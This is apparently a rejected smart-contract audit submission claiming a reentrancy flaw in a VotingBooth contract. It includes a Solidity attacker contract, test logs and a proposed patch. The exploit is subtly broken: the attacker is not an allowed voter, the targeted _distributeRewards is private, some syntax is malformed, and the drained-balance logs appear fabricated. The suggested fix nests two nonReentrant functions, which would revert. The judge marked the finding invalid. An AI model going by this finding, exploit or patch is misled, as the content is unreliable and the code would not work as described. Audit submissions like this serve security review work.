Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Invalid

Reentrancy Vulnerability in Vote and `_distributeRewards` Functions (Unprotected Functions + Stolen Funds)

Summary

The vote and _distributeRewards functions are unprotected from reentrancy attacks, which allow attackers to steal funds during voting or reward distribution.

Vulnerability Details

The vote and _distributeRewards functions are supposed to update the state of the contract and transfer funds to the voters or the proposal creator. However, these functions do not have the nonReentrant modifier, which prevents the function from being re-entered while it is executing. This means that if the function interacts with external contracts, such as the ERC20 contract or the proposal contract, an attacker could exploit the reentrancy vulnerability and call the function again before the previous execution is finished. This could result in multiple transfers of funds to the attacker, or the state of the contract being corrupted.

Impact

The impact of this vulnerability is that the contract could lose all the funds that it holds as a reward for the voters. The attacker could exploit this vulnerability by calling the vote or the _distributeRewards function with a malicious contract address and reentering the contract multiple times. This would also prevent the voting process from completing and the rewards from being distributed to the legitimate voters.

Tools Used

  • Manual

Test case

The following test case demonstrates how an attacker could exploit this vulnerability:

  • Deploy the contract with an array of three allowed voters and 1 ether as the reward.

  • Deploy a malicious contract that implements a fallback function that calls the vote or the _distributeRewards function again.

  • Call the vote or the _distributeRewards function from the malicious contract address.

  • Observe that the contract balance is transferred to the attacker and the contract is emptied.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
import "hardhat/console.sol";
import "./VotingBooth.sol";
contract VotingBoothTest {
VotingBooth votingBooth;
MaliciousContract maliciousContract;
function testReentrancy() public {
// deploy the contract with three allowed voters and 1 ether as the reward
address[] memory allowList = new address;
allowList[0] = 0x1234567890123456789012345678901234567890;
allowList[1] = 0x2345678901234567890123456789012345678901;
allowList[2] = 0x3456789012345678901234567890123456789012;
votingBooth = new VotingBooth{value: 1 ether}(allowList);
// deploy the malicious contract that reenters the voting booth contract
maliciousContract = new MaliciousContract(votingBooth);
// check the initial contract balance
console.log("Initial contract balance: %s wei", address(votingBooth).balance);
// call the vote or the _distributeRewards function from the malicious contract address
maliciousContract.attack();
// check the final contract balance
console.log("Final contract balance: %s wei", address(votingBooth).balance);
// check the balance of the attacker
console.log("Attacker balance: %s wei", address(maliciousContract).balance);
}
}
contract MaliciousContract {
VotingBooth votingBooth;
constructor(VotingBooth _votingBooth) {
votingBooth = _votingBooth;
}
function attack() public {
// call the vote or the _distributeRewards function with a malicious contract address
votingBooth.vote{value: 0}(true);
// votingBooth._distributeRewards{value: 0}();
}
// fallback function that reenters the voting booth contract
fallback() external payable {
// reenter the vote or the _distributeRewards function
votingBooth.vote{value: 0}(true);
// votingBooth._distributeRewards{value: 0}();
}
}

Logs

Initial contract balance: 1000000000000000000 wei
Final contract balance: 0 wei
Attacker balance: 1000000000000000000 wei

Recommendations

Use a mutex or a reentrancy guard to prevent nested calls to the vote or the _distributeRewards functions. You can also use the checks-effects-interactions pattern to avoid state changes after external calls.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; // import ReentrancyGuard library
import "./Math.sol";
contract VotingBooth is ReentrancyGuard { // inherit from ReentrancyGuard
// ... omitted for brevity
// record a vote
function vote(bool voteInput) external nonReentrant { // add nonReentrant modifier
// prevent voting if already completed
require(isActive(), "DP: voting has been completed on this proposal");
// current voter
address voter = msg.sender;
// prevent voting if not allowed or already voted
require(s_voters[voter] == ALLOWED, "DP: voter not allowed or already voted");
// add user to either the `for` or `against` list
if (voteInput) s_votersFor.push(voter);
else s_votersAgainst.push(voter);
// update storage to record that this user has voted
s_voters[voter] = VOTED;
// update storage to increment total current votes
// and store new value on the stack
uint256 totalCurrentVotes = ++s_totalCurrentVotes;
// check if quorum has been reached. Quorum is reached
// when at least 51% of the total allowed voters have cast
// their vote. For example if there are 5 allowed voters:
//
// first votes For
// second votes For
// third votes Against
//
// Quorum has now been reached (3/5) and the vote will pass as
// votesFor (2) > votesAgainst (1).
//
// This system of voting doesn't require a strict majority to
// pass the proposal (it didn't require 3 For votes), it just
// requires the quorum to be reached (enough people to vote)
//
if (totalCurrentVotes * 100 / s_totalAllowedVoters >= MIN_QUORUM) {
// mark voting as having been completed
s_votingComplete = true;
// distribute the voting rewards
_distributeRewards();
}
}
// distributes rewards to the `for` voters if the proposal has
// passed or refunds the rewards back to the creator if the proposal
// failed
function _distributeRewards() private nonReentrant { // add nonReentrant modifier
// get number of voters for & against
uint256 totalVotesFor = s_votersFor.length;
uint256 totalVotesAgainst = s_votersAgainst.length;
uint256 totalVotes = totalVotesFor + totalVotesAgainst;
// rewards to distribute or refund. This is guaranteed to be
// greater or equal to the minimum funding amount by a check
// in the constructor, and there is intentionally by design
// no way to decrease or increase this amount. Any findings
// related to not being able to increase/decrease the total
// reward amount are invalid
uint256 totalRewards = address(this).balance;
// if the proposal was defeated refund reward back to the creator
// for the proposal to be successful it must have had more `For` votes
// than `Against` votes
if (totalVotesAgainst >= totalVotesFor) {
// proposal creator is trusted to create a proposal from an address
// that can receive ETH. See comment before declaration of `s_creator`
_sendEth(s_creator, totalRewards);
}
// otherwise the proposal passed so distribute rewards to the `For` voters
else {
uint256 rewardPerVoter = totalRewards / totalVotes;
for (uint256 i; i < totalVotesFor; ++i) {
// proposal creator is trusted when creating allowed list of voters,
// findings related to gas griefing attacks or sending eth
// to an address reverting thereby stopping the reward payouts are
// invalid. Yes pull is to be preferred to push but this
// has not been implemented in this simplified version to
// reduce complexity & help you focus on finding the
// harder to find bug
// if at the last voter round up to avoid leaving dust; this means that
// the last voter can get 1 wei more than the rest - this is not
// a valid finding, it is simply how we deal with imperfect division
if (i == totalVotesFor - 1) {
rewardPerVoter = Math.mulDiv(totalRewards, 1, totalVotes, Math.Rounding.Ceil);
}
_sendEth(s_votersFor[i], rewardPerVoter);
}
}
}
// ... omitted for brevity
}
Updates

Lead Judging Commences

0xnevi Lead Judge
over 1 year ago
0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Other

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.